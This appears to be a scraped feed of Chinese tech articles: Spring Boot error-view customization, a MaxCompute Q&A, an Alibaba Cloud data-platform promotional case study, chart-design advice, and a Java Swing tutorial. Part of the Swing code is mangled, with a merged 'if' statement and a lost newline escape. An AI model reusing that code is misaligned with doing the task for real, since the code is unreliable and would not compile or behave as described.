      public ModelAndView errorHtml(HttpServletRequest request,
              HttpServletResponse response) {
          HttpStatus status = getStatus(request);
          Map<String, Object> model =
      Collections.unmodifiableMap(getErrorAttributes(
                  request, isIncludeStackTrace(request,
      MediaType.TEXT_HTML)));
          response.setStatus(status.value());
          ModelAndView modelAndView = resolveErrorView(request, response, status,
      model);
          return (modelAndView != null) ? modelAndView : new ModelAndView("error",
      model);
      }

      在该方法中 ,首先会通过 getErrorAttributes 方法去获取异常数据(实际上会调用到 ErrorAttributes的实例 的 getErrorAttributes 方法),然后调用 resolveErrorView 去创建一个 ModelAndView ,如果这里创建失败,那么用户将会看到默认的错误提示页面。

      正常情况下, resolveErrorView 方法会来到 DefaultErrorViewResolver 类的 resolveErrorView 方法中:

      @Override
      public ModelAndView resolveErrorView(HttpServletRequest request, HttpStatus
      status,
              Map<String, Object> model) {
          ModelAndView modelAndView = resolve(String.valueOf(status.value()),
      model);
          if (modelAndView == null && SERIES_VIEWS.containsKey(status.series())) {
              modelAndView = resolve(SERIES_VIEWS.get(status.series()),
      model);
         }
          return modelAndView;
      }

      在这里,首先以异常响应码作为视图名分别去查找动态页面和静态页面,如果没有查找到,则再以 4xx或者 5xx 作为视图名再去分别查找动态或者静态页面。

      要自定义异常视图解析,也很容易 ,由于 DefaultErrorViewResolver 是在ErrorMvcAutoConfiguration 类中提供的实例,即开发者没有提供相关实例时,会使用默认的DefaultErrorViewResolver ,开发者提供了自己的 ErrorViewResolver 实例后,默认的配置就会失效,因此,自定义异常视图,只需要提供 一个 ErrorViewResolver 的实例即可:

      @Component
      public class MyErrorViewResolver extends DefaultErrorViewResolver {
        public MyErrorViewResolver(ApplicationContext applicationContext,
      ResourceProperties resourceProperties) {
          super(applicationContext, resourceProperties);
       }
        @Override
        public ModelAndView resolveErrorView(HttpServletRequest request, HttpStatus
      status, Map<String, Object> model) {
          return new ModelAndView("/aaa/123", model);
       }
      }

      实际上,开发者也可以在这里定义异常数据(直接在 resolveErrorView 方法重新定义一个 model ,将参数中的model 数据拷贝过去并修改,注意参数中的 model 类型为 UnmodifiableMap,即不可以直接修改),而不需要自定义 MyErrorAttributes。定义完成后,提供一个名为 123 的视图,如下图:

      如此之后,错误试图就算定义成功了。

      总结

      实际上也可以自定义异常控制器 BasicErrorController ,不过松哥觉得这样太大动干戈了,没必要,前面几种方式已经可以满足我们的大部分开发需求了。如果是前后端分离架构,异常处理还有其他一些处理方案,这个以后和大家聊。

      篇幅有限,其他内容就不在这里一一展示了,这份Spring Boot实战教程已整理成一份PDF文档,共有200多页。关注公种浩:程序员追风,回复 005 获取这份整理好的Spring Boot实战教程。

      i

      最后

      欢迎大家一起交流,喜欢文章记得点ge 赞哟,感谢支持!

      ]]>
      MaxCompute问答整理之2020-06月 Fri, 02 May 2025 09:39:04 +0800 问题一、MaxCompute的表有无索引?
      没有索引,不过Hash Clustering可以提供类似数据库里cluster index的效果。
      具体可参考:https://help.aliyun.com/document_detail/73768.html

      问题二、DataWorks调度依赖关系中,两个不同业务流程的节点如何依赖?
      比如我们有两个业务流程A和B,可以让B业务流程首个节点依赖A业务流程的最后一个节点。
      具体可参考:https://developer.aliyun.com/article/759463

      问题三、MaxCompute时间类型字段能不能不带时分秒?
      可以使用date数据类型。开启MaxCompute2.0可以使用date类型。
      具体可参考:
      https://help.aliyun.com/document_detail/159541.html

      问题四、请问删除表的所有数据sql怎么写?
      可以通过删除(DROP)表达到数据删除目的。
      非分区表可以通过TRUNCATE TABLE table_name;语句清空表数据。
      分区表可以通过ALTER TABLE table_name DROP IF EXISTS PARTITION(分区名=‘具体分区值’)删除分区达到删除整个分区数据的目的。
      具体可参考 :
      https://help.aliyun.com/knowledge_detail/150534.html

      问题五、请问有什么办法快速查看项目空间下哪些表是分区表?

      select table_name  from information_schema.columns where is_partition_key = true group by table_name;

      问题六、新创建的工作空间。怎么不支持数据类型自动隐式转换呢?
      看下是否开启了MaxCompute2.0,可以关闭2.0之后可进行隐式转换。
      具体可参考:https://help.aliyun.com/document_detail/57792.html

      问题七、spark odps流式读取datahub数据,写到odps有没有参考文档或者代码?
      可参考:https://github.com/aliyun/MaxCompute-Spark/tree/master/spark-2.x/src/main/scala/com/aliyun/odps/spark/examples/streaming/datahub

      问题八、怎么将开发环境的表数据同步到生成环境的表中?

      insert into project.table  select * from project_dev.table;

      如果没有对生产环境表读写权限,对子账户需要授权grant role to $RAM:User;

      问题九、可以使用tableau连接MaxCompute吗?
      可以。具体可参考:
      https://help.aliyun.com/document_detail/115493.html

      问题十、 查询一个分区表 where条件是add_months('2020-06-01',-1) ,报错:is full scan with all partitions, please specify partition predicates. 怎么解决呢?
      可以通过explain命令查看SQL中的分区剪裁是否生效。
      具体可参考:https://help.aliyun.com/document_detail/58679.html

      欢迎扫码加入 MaxCompute开发者社区钉钉群,或点击 申请加入。

      image.png

      ]]>
      新品ROI涨322%,直播转化翻11倍,阿里云数据中台成了品牌们的一把手工程 Fri, 02 May 2025 09:39:04 +0800 前言:
      -更多关于数智化转型、数据中台内容请加入阿里云数据中台交流群—数智俱乐部 (文末扫描二维码或点此加入

      -阿里云数据中台官网 https://dp.alibaba.com/index

      (来源:数智俱乐部)

      从雾里看花到亲身体验,短短两个月,阿里云数据中台零售行业解决方案就让九阳“真香”了。

      消费者活跃度下降、线上线下数据割裂、业务增长面临瓶颈等问题,是不少零售企业目前面临的新挑战,九阳也不例外。

      以豆浆机起家的九阳创立于1994年,在过去20多年里积累了大量用户数据,只是这些原始数据既分散又碎片化,对于促进品牌的业务增量具有一定的局限性。

      在刚过去不久的天猫618,首次在大型活动中尝鲜阿里云数据中台零售行业解决方案的九阳,打了一场漂亮的仗。天猫618开场当天,九阳免洗豆浆机成交同比暴增230%,6月16日0点40分,天猫销售额突破2300万,同比超过去年全天,截至当晚23:30,成交额已经超过去年三天总和。

      值得一提的是,九阳Line Friends联名新品优选放大人群ROI提升了322%,养生壶品类ROI达到了6.85。“哪怕K150豆浆机这类高单价的产品,在对比行业基准纯拉新人群包ROI为1的情况下,它的ROI也达到了2.58。”九阳数字运营部总经理陈波表示,这背后离不开阿里云数据中台零售行业解决方案的助力。

      除了九阳,还有近百家零售企业在天猫618尝到了数智化的甜头,比如雅戈尔收藏加购ROI相较新客提升52.4%、奥普直播人群购买转化率是同期一般拉新人群的11倍。

      如何更有效地挖掘数据价值并加以使用,已经逐渐成为零售企业竞争的一大核心,数据中台的搭建也成了CEO和董事长们最重视的项目之一。

      找到精准人群

      有了数据的支撑,如何抓住年轻消费人群也变得有迹可循。

      九阳近几年一直在新品研发方面下功夫,贴合年轻人的喜好,打造出Line Friends联名款,早餐机、网红果汁杯等产品。其中不乏大爆款的产生,比如去年天猫双11,九阳和Line Friends联名暖杯垫这一单品,销售了近10万单。

      早前,九阳也曾在IP联名上走过弯路。“最早做的小黄人IP,产品不是很热门的品类,相对价格也比较高,IP购买人群中,尝鲜人群会占据很大一部分,所以不能设置太高的门槛。”陈波认为,随着现在年轻人审美和需求的改变,IP联名产品除了为用户提供功能性之外,还额外增加了情感认同感,同时也帮小家电跳出了产品设计同质化的圈子,“我们还是十分看好这个方向的。”

      吸取了原先的教训,去年7月,带着与Line Friends联名的新品,九阳再次杀向消费市场。这一次,市场的反应截然不同。在九阳人群结构中,IP产品中18-25岁的人群比九阳常规产品中占比多了16%,这意味着IP帮助九阳在获取年轻用户方面起到了明显的作用。
      image.png

      在迈出第一小步后,九阳又遇到了第二个问题:如何进一步把这些IP新品推向更多消费者,实现更大的增量。

      为此,在今年天猫618前,九阳通过阿里云数据中台零售行业解决方案核心产品之一Quick Audience,对品牌近两年自有信息进行分析运营管理,同时根据类目活跃度、消费行为特征等筛选逻辑,描绘出更为精准的消费人群,从而使整个营销链路、数据闭环能够更加完整

      而在深度理解消费者之后,九阳根据不同的人群制定了不同的营销方案,比如针对“A人群”(认知人群)高频触达,“I人群”(兴趣人群)中对于折扣敏感型、高价值人群,推出不同的营销策略,让其转化为“P人群”(购买人群),从而在减少营销成本的同时实现成交转化率的提升。

      “通过阿里云数据中台零售行业解决方案洞察到的消费人群,比我们原先自己洞察的人群投放回报率更高。”陈波列举了一串数据,Line Friends联名新品优选放大人群ROI提升了322%,养生壶这一品类ROI达到了6.85。即使高单价的K150豆浆机,在对比行业基准纯拉新人群包ROI为1的情况下,它的ROI也达到了2.58。

      品牌未来的核心资产

      在九阳之前,其实有不少品牌在数据中台建设这条路上行走已久,同时基于不同零售品牌的不同特点,数据也在赋能着更多不同场景。

      知名乳制品企业飞鹤去年便在阿里云的帮助下,建设数据中台。跟九阳相似,多年的品牌积累之下,飞鹤并不缺数据,但是由于分散且不完整,数据很难达到驱动业务增长的效果。
      image.png

      在阿里云的帮助下,飞鹤以数据中台为核心重塑了CRM系统,建立了新的以数据赋能的营销平台

      通过对信息的整理、分析、加工,来不断反哺前端业务。比如,精准的消费群体画像能够有效支撑品牌营销策略,而人群及其区域的权益偏好则可以为品牌制订区域促销提供有效参考。

      无独有偶,另一乳制品企业雅士利利用阿里云数据中台,结合自身业务特性,挖掘出5个业务场景:导购场景、门店场景、积分场景、营销活动场景、会员场景。

      数据中台的存在,帮雅士利更高效地打破原有界限,实现渠道之间、线上与线下的数据共通;更好地让其理解数据、运营数据,从而实现消费者人群化运营、营销精准化投放。

      2019年天猫双11,雅士利通过数据中台实现短期快速提效,营销提效同比去年增长92%。

      此外,今年疫情期间,红蜻蜓4000多家门店无法营业,但通过全员线上服务营销,7天内新设立了500多个粉丝群,实现日均销售额突破百万。逆势增长背后,核心业务上云,利用阿里云数据中台、业务中台等平台能力进行数智化改造是它的重要推动力。

      image.png

      “我们可以看到,像九阳这样,利用数据中台去激活老客、拉取新客,做营销提效只是第一步,数据中台完成之后还将不断迭代,全链路的数字化可以从消费者贯穿到新品研发,甚至再到供应链改造。”阿里云数据中台高级专家列文表示,这是阿里云数据中台能够为品牌数智化转型带来的核心服务之一。

      一把手工程

      数智化是未来,即使众多品牌都有了这个共识,但为何真正走在前面的仍是少数?

      列文分析,数据中台不是一个工具或者一套运营方法,企业想要真正搭建自己的数据中台,其实是一个中长期的过程,更重要的是,这还将倒逼着企业组织能力进行升级:“这是一个没有CEO或者董事会级别推动,几乎做不成的项目。”

      对此,陈波也深有感触。早在四五年前,九阳就成立了数据项目组,那时项目组里只有几名数据人员做着日常的数据维护,直到数据中台这两年在云栖大会及新零售场景中被反复提及,九阳总裁杨宁宁更是下定了决心,只是对于这一场大“变革”,她一直在寻找合适的时机。

      真正让九阳把建设数据中台提上日程,还是去年杨宁宁在与阿里巴巴集团副总裁肖利华(肖博)的一次深入探讨之后。“未来变革的抓手是数据化。”陈波说这是总裁最常挂在嘴边的一句话。去年开始,九阳启动对运用数据中台的需求研究调研,今年正式迈入了数据中台的上线开发工作。

      这次阿里云数据中台零售行业解决方案在天猫618的小试牛刀,收获颇丰,促使九阳对于数据中台的建设步伐变得愈发坚定。随着数智化探索不断深入,如今GMV变得似乎没这么重要了。

      “我们的关注度已经从单看GMV转移到了消费者资产的积累。”陈波解释,以前品牌做活动、做促销,转化完了就结束了,没有具象纬度去分析人群,更别提数据追踪再次触达转化,“现在品牌各个阶段的消费人群变得更为清晰,用户的精细化运营也变得越来越重要。”

      方法论则是阿里为九阳提供的另一大价值,在陈波看来,阿里有数据治理、数据运营的经验,这些数据思维方式让九阳可以更便捷有效地去将数据资产运用到新的业务上。

      不过,这也为企业带来了另一道难题:需要对每个员工数据化工具的使用能力提出更高要求。

      也正是看到了企业的这些痛点, 2018年下半年,阿里巴巴平台数据产品团队内测了数据分析师认证项目,并面向市场逐步开放,从而帮助企业和个人更好地认识数据、了解数据。据阿里巴巴平台数据产品资深专家逸客介绍,截止到7月2日,该项目已经培养超过3万名数据认证人才,其中,更是为946个品牌培养1737名内部数据分析师。

      “九阳有10个数据分析师已经通过了认证。”陈波透露,随着数据在企业发展中扮演着愈来愈重要的作用,九阳不仅成立了专门的数据部门,团队成员也拓展到了近40人,“我们正朝着把数据分析运营能力成为九阳全员的基础能力方向努力。”


      数据中台是企业数智化的新基建,阿里巴巴认为数据中台是集方法论、工具、组织于一体的,“快”、“准”、“全”、“统”、“通”的智能大数据体系。目前正通过阿里云数据中台解决方案对外输出,包括零售金融互联网政务等领域,其中核心产品有:

      官方站点:
      数据中台官网 https://dp.alibaba.com
      数据中台钉钉群二维码2.jpg


      ]]>
      和你谈谈数据分析报告 Fri, 02 May 2025 09:39:04 +0800 前言:
      -更多关于数智化转型、数据中台内容请加入阿里云数据中台交流群—数智俱乐部 (文末扫描二维码或点此加入

      -阿里云数据中台官网 https://dp.alibaba.com/index

      (作者:数智从业者)

      在当今企业纷纷推动数字化运营的背景下,“No Data, No BB”成了职场人的口头禅。做一份好的数据分析报告,大到成为能否帮助企业做出正确的商业决策,小到成为能否说服老板获取业务资源的关键因素。因此做出一份高质量的数据分析报告是一个职场人必备的利器。

      有人说,数据分析报告,不就是一堆的饼图、柱状图、散点图放到PPT上吗?我们尝试从这个人人习以为常的操作中看看是否有不变的门道。

      注:本文中图表通过“阿里云 QuickBI”实现,中国首个入选Gartner魔力象限的BI产品

      表达主题决定了我们的图表形式

      决定分析报告图表形式的并不是拥有的数据是什么,而是你所需要表达的主题是什么。

      图1和图2是根据一份相同的数据,展现的2个不同的图表:
      image.png
      image.png

      上图可以发现对于相同的数据,因为我们所需表达的主题的差异,也将呈现完全不同的展现方式。图1表达的主题是爽肤水和沐浴露两个品类在不同城市的销量排名,图2主要表达的主题是在相同城市在两个不同的品类的销量差异。

      因此在下笔做分析报告之前,先仔细想好自己要表达的主题是什么。

      在进行了完整的分析后,要抵制住把所有向听众展示的冲动,而应该把所有注意力集中到需要表达的主题重点上来,因为这些才是听众所需要了解的信息。

      为了找到我们分析的主题,需要了解分析报告针对的对象。详细的了解听众的背景和观点,并思考清楚我们期望听众对我们的看法。在内容上,希望听众了解什么,了解了以后有什么行动。了解了听众和内容后,再确认数据的表达形式,只展现能支持主题的数据。

      整篇分析报告要能通过三分钟说得清楚,每页报告都能一句话概括清楚。

      不要放弃“标题”这个绝佳的位置

      有些图表的标题就和猜谜一样,例如:公司销售趋势、分公司销售分布情况。完全没有指出图表的重点,公司销售趋势是怎么样的?分公司销售分布又是如何?

      别把我们需要强调的重点当做秘密一样不肯透露,而应该把它放在图表最前面,减少听众误解的可能性,并让他们的注意力集中到我们所想强调的数据上。

      如下图,这张图到底是为了表达全量销售金额没有明显的增长呢?还是为了表达2月份销售金额断崖式下跌?还是为了表达其它什么主题呢。请在标题上明确的告诉听众。

      image.png

      处理“成分对比”的关系

      成分对比主要体现在对与一个整体的每个部分的百分比的对比。常常出现“份额”、“百分比”等词汇。成分对比通常使用饼图来展现:

      image.png

      饼图在使用中建议不超过6个部分,如果超过6个部分,可以把剩余部分归类到“其它”项中。另外由于人们看数据习惯顺时针看数据,因此可把最重要部分放到12点位置,并用对比度强烈的颜色突出显示。

      饼图主要在标识单一整体各部分比例,如果需要比较两个整体的成分时,重点考虑柱状图(图3)。因为如果使用饼图(图4)会导致读者视线需要在不同图表间来回移动:
      image.png
      image.png

      成分分析可能包括子成分分析,需要把整体的一部分再作为整体进行分析,这时可将饼图放在开始的地方,百分比的柱状图放在后面:
      image.png

      我们要尽可能少使用饼图,饼图占整体的比例一般不超过5%。尽量不使用3D饼图或甜甜圈饼图。永远记住,图表只是为了让我们听众更好理解我们的数据,而不是图表有多与众不同。

      处理“项目间对比”的关系

      项目间对比主要是比较不同项目间的情况。常常出现“排名”、“大小”等词汇。项目间对比通常使用条形图来展示:
      image.png

      我们对于条形图的顺序需要深思熟虑,如果天然是有序的则按天然的顺序,例如人生阶段婴儿、少年、青年、中年、老年。但是如果没有这种天然顺序,需要考虑什么顺序对于我们数据主题是最有意义的。

      根据我们所需要突出的主题,选择条形图的排序方式。展现条形图数值的方式包括刻度尺或在条形图上显示数字,可根据情况选择其中一种方式,但是不要两处都显示,多余容易导致图形的混乱。同时标识数字时,把小数点后的数值去掉,3%总是比3.1415%容易被听众记住。

      对于项目间对比有时也会通过柱状图来代替,但是条形图相较于柱状图有两点明细的优势:第一,减少听众与时间序列对比的混淆;第二,条形图有较大的空间填写各项目的名称。

      项目间对比,还可以通过背离式条形图,往往可以形象的将有利与不利的情况分离开来:

      image.png

      项目间还可能针对一个范围进行对比,这时可使用范围条形图:

      image.png

      当比较的项目由多个部分组成,可通过堆积条形图,必须将最重要的成分放在靠近基线的地方,因为只有这部分才可被准确度量:

      image.png

      处理“时间序列对比”的关系

      时间序列对比关心的是随时间变化的对比。常常出现“变化”、“增长”、“下降”等词汇。时间序列对比通常使用柱状图或折线图来展示,如果时间点不多时可以使用柱状图,如果时间点是很长一段时间范围使用折线图更为合适:
      image.png

      对于折线图,趋势线一定要比背景线粗。当存在同一张折线图存在多条折线时,需要将最关注的线加粗加亮。但是当出现非常多折线时,我们的折线图就会呈现出“方便面式”图表,往往导致图表混乱。如下图:

      image.png

      解决“方便面式”图表的方式可通过将折线图拆分到不同的小的折线图中,虽然图表变多了,但是所需要表达的主题也能更加清晰:
      image.png

      在时间序列对比中,可通过箭头、线条、阴影等方式强调数据的某一部分,将听众的注意力集中到你所期待关注的点上:
      image.png

      同样,时间序列对比也可以通过刻度的正负来区分正面情况和负面情况:

      image.png

      我们常常在时间序列中,可能包括实际值和预计值,可通过将实际值设置为实线,将预计值设置为虚线的方式:
      image.png

      当一个折线图的数值,是可通过一个公式生成的,可将公式中的计算因子分别拆分到计算树中,使听众可清晰看到每部分计算因子的变化情况:
      image.png

      如果只有两个时间点,可展现两组数据之间各维度的提升和降低的差异,形成斜率图,连接的线条可以直观的感受到提升与降低的程度:
      image.png

      不同的刻度基线会产出完全相反的数据主题解读。看以下2张图,同样都是对杭州房价的描述:
      image.png

      同样的数据,产出的图表给人截然不同的感觉。那么我们到底应该如何定义刻度呢。其实关键取决于我们对于变化的理解,100块钱对于房价来说可能微不足道,但是对于动车票价格可能就是至关重要。我们应该选择一个刻度,能准确反映对变化重要性的理解。如果通过使用不合适的刻度基线来误导听众,只要有辨别能力的听众都能发现问题,那么我们的整套言论和信誉就会被唾弃。

      处理“频率分布对比”的关系

      频率分布对比表现的是数据分布范围情况。常常出现“范围”、“密度”、“分布”等词汇。频率分布对比通常使用柱状图或折线图来展示,当比较范围数量较多时可使用折线图,较少时可通过柱状图:
      image.png

      频率分布的范围大小非常重要,既不能太大也不能太小,建议5到20个分组。不同分组的大小应相同,否则会造成数据扭曲。

      对于即需要展示频率分布,又需要进行项目间对比,可将分布柱状图进行组合,其中一个分布柱状图作为另一个的背景图:
      image.png

      处理“相关性对比”的关系

      相关性对比表现的是不同变量之间的关系。常常出现“与XX有关”、“随XX增长”等词汇。相关性对比通常使用散点图或双条形图来展示。如下图:

      image.png

      在双条形图中,我们将独立变量按顺序排在左边,而把对比值放在右边,如果期望模式与实际模式一致时,右边的条形图就会变成左边的条形图的镜像,如下面左图。当关系不符合预期时,两组条形图则会发生偏离,如下面右图:
      image.png
      image.png

      处理“多重对比”关系

      对比可能不仅仅是一种对比关系,有可能是结合上文所说的成分、项目间、时间序列、频率分布、相关性对比中的一种或多种组合而成,我们称之为“多重对比”。例如“销售额在过去10年内稳步增长,但利润却没有同步增长”,这案例第一部分“销售额在过去10年内稳步增长”属于“时间序列对比”,第二部分“但利润却没有同步增长”属于项目间对比。对于这种情况,我们需要确定哪一种关系是主要的,哪一种是次要的。案例中,第一部分随时间变化是主要的,而销售额与利润项目间对比是次要的,因此最好选择以时间变化对比的折线图,并为每一个项目画一条支线的方式实现,如下图:

      image.png

      不仅仅只有图表

      当然,对于数据分析报告,可定量信息我们可以通过图表构建,但是对于不可定量的信息,我们可以通过一些几何图形形成概念性视觉图像,或通过一些日常事务作视觉比喻。例如说到目标,可以形成高山这样的视觉图像。这需要发挥自己的想象力,平时多留意写优秀的海报广告,在生活中寻找灵感,在报告中能够做到与听众产生共鸣的效果。

      消除认知负荷

      听众在接受我们分析报告信息时,需要消耗脑力去学习新知识,脑力是有限的,因此需要消除听众无关紧要的脑力消耗。造成无关紧要脑力消耗最大的问题就是“杂乱”,因此消除杂乱是数据分析报告需要重点关注的。

      通过将文字从原来居中对齐调为左对齐,进行相关的无关数据的淡化的处理,能减少听众的认知负荷,把关注点转移到我们的重点上::

      image.png

      image.png

      通过将网格线消除、标记点消除、金额度量转换、直接标记数据等手段降低认知负荷,右图是修改后的图表:

      image.png

      通过消除一些干扰,能突出我们所需要表达的重点。所有的数据不是相同重要,消除不需要关注的元素,或将不直接影响内容的元素融入背景。去掉这个东西会有什么变化?如果不会,那么就去掉吧。

      同时要突出我们需要吸引听众实现的地方。在文字中可通过加粗、颜色、斜体、大小、空间隔离、下划线等手段突出文字关键词。在图表中主要通过颜色、大小突出需要强调的内容。在使用颜色时需慎重选择,不能在一张图中有太多颜色,造成视觉干扰;可以使用颜色的不同饱和度来强调数据;根据分析报告背景,可选择对于的互补色来做内容的突出强调。

      讲好分析报告

      分析报告做好了,还需要以更好的语言表达方式呈现给听众。可以把分析报告当做一个故事来说,能更加引人入胜。

      首先对整个背景做设定,接着介绍什么因素上下文驱动情节的演进,举例说明发生了什么样的冲突,基于这些冲突有哪些假设,再基于这些假设如何做数据验证,最后通过什么方式带来什么解决方案。

      为了保证整个分析报告的逻辑清晰,可以构建类似金字塔的逻辑结构,以某一个中心论点为塔尖,在其以下分支出不同论点的数据分析支撑。让听众对我们的分析报告有个清晰的逻辑结构。

      最后,希望每个职场人都能用数据分析报告打开一个新的天地。广阔数据天地,大有可为。

      工欲善其事必先利其器,BI工具,推荐“QuickBI”,众多可视化组件拖拖拽拽就完成了,人人都是数据分析师。


      数据中台是企业数智化的新基建,阿里巴巴认为数据中台是集方法论、工具、组织于一体的,“快”、“准”、“全”、“统”、“通”的智能大数据体系。目前正通过阿里云数据中台解决方案对外输出,包括零售金融互联网政务等领域,其中核心产品有:

      官方站点:
      数据中台官网 https://dp.alibaba.com
      数据中台钉钉群二维码2.jpg


      ]]>
      使用Java带你打造一款简单的英语学习系统 Fri, 02 May 2025 09:39:04 +0800 【一、项目背景】

      随着移动互联网的发展,英语学习系统能结构化的组织海量资料。针对用户个性需求,有的放矢地呈现给用户,从而为英语学习者提供便利,提升他们的学习效率。

      【二、项目目标】

      1. 实现美观的界面,添加需要的组件。
      2. 能够基本实现改变字体,颜色,背景,页面切换功能。
      3. java读取txt文件,简化代码。

      【三、项目实施】

      使用eclipse软件开发,先上效果图,如下图所示。可以看到在界面上有可以改变字体、颜色、设置选项的菜单栏,页面切换的功能。

      使用Java带你打造一款简单的英语学习系统
      接下来,小编带大家进行具体的实现,具体的实现步骤如下。

      【四、实现步骤】

      一、首先实现窗体界面

      具体的代码实现过程如下:

      public static void main(String[] args){

      // TODO Auto-generated method stub
          EnglishSystem es =new EnglishSystem();
          es.setTitle("英语学习系统");
          es.setSize(750, 600);
          es.setVisible(true);
          es.setResizable(false);
          es.setLocationRelativeTo(null);
      

      }
      使用new关键字创建EnglishSystem类;

      setTitle表示设置界面的标题;

      setSize(宽,高)表示窗体大小;

      setVisible(true或false)表示窗体是否可见;

      setResizable(true或false)表示窗体是否可以由用户调整大小;

      setLocationRelativeTo()表示设置窗口相对于指定组件的位置。

      二、实现菜单栏

      使用Java带你打造一款简单的英语学习系统

      1. 创建JFrame实例、JPanel面板,然后把面板添加到JFrame中。
      2. 创建JMenuBar菜单栏对象,JMenu在创建菜单对象,将菜单对象添加到菜单栏对象中。
      3. 将JMenuItem菜单项添加到JMenu中。

      public class EnglishSystem extends JFrame {

      private JPanel panel01 = new JPanel();//菜单栏
      private JMenuBar jb = new JMenuBar();
      private JMenu menu01 = new JMenu("字体");
      private JMenuItem item01 = new JMenuItem("宋体");
      private JMenuItem item02 = new JMenuItem("黑体");

      private JMenu menu02 = new JMenu("颜色");
      private JMenuItem item03 = new JMenuItem("玫红色");
      private JMenuItem item04 = new JMenuItem("蓝色");
      private JMenuItem item05 = new JMenuItem("绿色");
      private JMenuItem item06 = new JMenuItem("橘色");
      private JMenuItem item07 = new JMenuItem("黑色");

      private JMenu menu03 = new JMenu("设置");
      private JMenuItem item08 = new JMenuItem("换壁纸");
      private JMenuItem item09 = new JMenuItem("退出");

      1. 实现单词区

      private JPanel panel03 = new JPanel();//单词显示
      private static JTextArea text01 = new JTextArea(30,89);

      1. 实现上下页切换

      private JPanel panel04 = new JPanel();
      private JButton btn_next = new JButton("下一页");
      private JButton btn_last = new JButton("上一页");

      1. 当前背景的图片

      private int photoNum=1;//背景图数
      private JPanel imagePanel;
      private ImageIcon bg= new ImageIcon("photo//photo"+photoNum+".png");//背景图
      private JLabel label = new JLabel(bg);

      1. EnglishSystem类构造函数:构造这个函数主要是实现界面的设计,添加组件。

      EnglishSystem(){

      jb.add(menu01);
      jb.add(menu02);
      jb.add(menu03);
      
      menu01.add(item01);
      menu01.add(item02);
      
      menu02.add(item03);
      menu02.add(item04);
      menu02.add(item05);
      menu02.add(item06);
      menu02.add(item07);
      
      menu03.add(item08);
      menu03.add(item09);
      panel01.add(jb);
      this.add(panel01);
      this.setJMenuBar(jb);
      
      panel03.add(text01);
      text01.setText(str1);
      text01.setEditable(false);
      text01.setLineWrap(true);
      text01.setWrapStyleWord(true);
      panel03.setBorder(new TitledBorder("单词区"));
      this.add(panel03,BorderLayout.CENTER);

      text01.setFont(new Font("黑体",Font.PLAIN,14));

      1. 将字体、颜色、背景添加到JMenuBar菜单栏中,字体里面的菜单项如黑体、宋体添加到菜单中。其他颜色、背景添加组件也一样!

      panel04.add(btn_last);

      panel04.add(btn_next);
      this.add(panel04,BorderLayout.SOUTH);
      
      text01.setOpaque(false);
      panel01.setOpaque(false);
      panel03.setOpaque(false);
      panel04.setOpaque(false);
      
       label.setBounds(0,0,bg.getIconWidth(),bg.getIconHeight());//设置边界
          imagePanel=(JPanel)this.getContentPane();//获取窗体的内容面板
          imagePanel.setOpaque(false);//设置透明
      this.getLayeredPane().add(label,new Integer(Integer.MIN_VALUE));
      1. 定义事件处理类,实现事件监听器

      private MyListener my = new MyListener();

      1. 在EnglishSystem构造函数中给指定组件添加监听

      item01.addActionListener(my);
      item02.addActionListener(my);
      item03.addActionListener(my);
      item04.addActionListener(my);
      item05.addActionListener(my);
      item06.addActionListener(my);
      item07.addActionListener(my);
      item08.addActionListener(my);
      item09.addActionListener(my);

      btn_next.addActionListener(my);
      btn_last.addActionListener(my);

      1. 添加事件监听器MyListener(自己命名)。

      private class MyListener implements ActionListener{

      @Override
      public void actionPerformed(ActionEvent e) {
        // TODO Auto-generated method stub
      
        if(e.getSource()==item01){//宋体
          text01.setFont(new Font("宋体",Font.PLAIN,14));
        }  
          if(e.getSource()==item02){//黑体
            text01.setFont(new Font("黑体",Font.PLAIN,14));
          }
          if(e.getSource()==item03){//玫红色
            text01.setForeground(new Color(255,0,255));
          }
          if(e.getSource()==item04){//蓝色
               text01.setForeground(Color.blue);
          }
          if(e.getSource()==item05){//绿色
               text01.setForeground(new Color(0,100,0));
          }
          if(e.getSource()==item06){//橘色
               text01.setForeground(new Color(255,140,0));
          }
          if(e.getSource()==item07){//黑色
               text01.setForeground(Color.BLACK);
      }

      if(e.getSource()==item08){//换壁纸
      photoNum++;
      if(photoNum>=6){
      photoNum=1;
      }
      label.setIcon(new ImageIcon("photo//photo"+photoNum+".png"));
      }
      if(e.getSource()==item09){//退出
      dispose();
      }
      if(e.getSource()==btn_next){//下一页
      if(papeNumpapeNum++;
      btn_last.setEnabled(true);
      btn_next.setEnabled(true);
      }
      if(papeNum==s.length){
      btn_last.setEnabled(true);
      btn_next.setEnabled(false);
      }
      }
      if(e.getSource()==btn_last){//上一页
      if(papeNum>1){//不是第一页
      papeNum--;
      btn_last.setEnabled(true);
      btn_next.setEnabled(true);
      }
      if(papeNum==1){
      btn_last.setEnabled(false);
      btn_next.setEnabled(true);
      }
      }

      1. 程序中显示文字是以String数组形式存储,这种方式比较方便易懂,但却使得代码较多。因此,在文字较多情况下,应考虑以txt文档形式存储故事文字,在程序中读取文档内容,以显示在窗口中。

      读取Txt文件:

      File file = new File(s[papeNum-1]);

        String str1 = getFileContent(file);
        text01.setText(str1);
      1. 定义一个字符串数组

      private String[] s = new String[]{"resource//s01.txt","resource//s02.txt","resource//s0 3.txt","resource//s04.txt","resource//s05.txt","resource//s06. txt","resource//s07.txt","resource//s08.txt","resource//s09.tx t","resource//s10.txt","resource//s11.txt","resource//s12.txt", "resource//s13.txt","resource//s14.txt"};
      private int papeNum=1;//页数

      1. 在getFileContent函数获取文件内容

      private String getFileContent(File file) {//获取文件内容

         BufferedReader br = null;
         StringBuffer sb = new StringBuffer();
         try {
          br = new BufferedReader(new FileReader(file));
          String hasRead = null;
          while ((hasRead = br.readLine()) != null) {
           sb.append(hasRead + "n");
          }
         } catch (Exception e) {
      
         } finally {
          if (br != null) {
           try {
            br.close();
           } catch (IOException e) {
      
           }
          }
         }
         return sb.toString();

      }
      以上用到的组件主要是Java Swing图形界面开发:

      1. Swing是JAVA的基础类的一部分。
      2. Swing包括了图形用户界面(GUI)器件如:文本框,按钮,分隔窗格和表。
      3. Swing 提供了许多比 AWT 更好的屏幕显示元素,使用纯 Java 实现,能够更好的兼容跨平台运行。

      【五、总结】

      1. 主要介绍了JPanel、JButton、JLabel、JTextArea、JMenu、JMenuItem等组件的基本使用,以及相应的事件处理。
      2. 事件处理函数的添加,难点是运用理解构造函数、内部类的创建。
      3. 如果需要本文源码,请在公众号后台回复“英语系统”四个字获取。

      看完本文有收获?请转发分享给更多的人

      IT共享之家

      想学习更多Python网络爬虫与数据挖掘知识,可前往专业网站:http://pdcfighting.com/

      ]]>
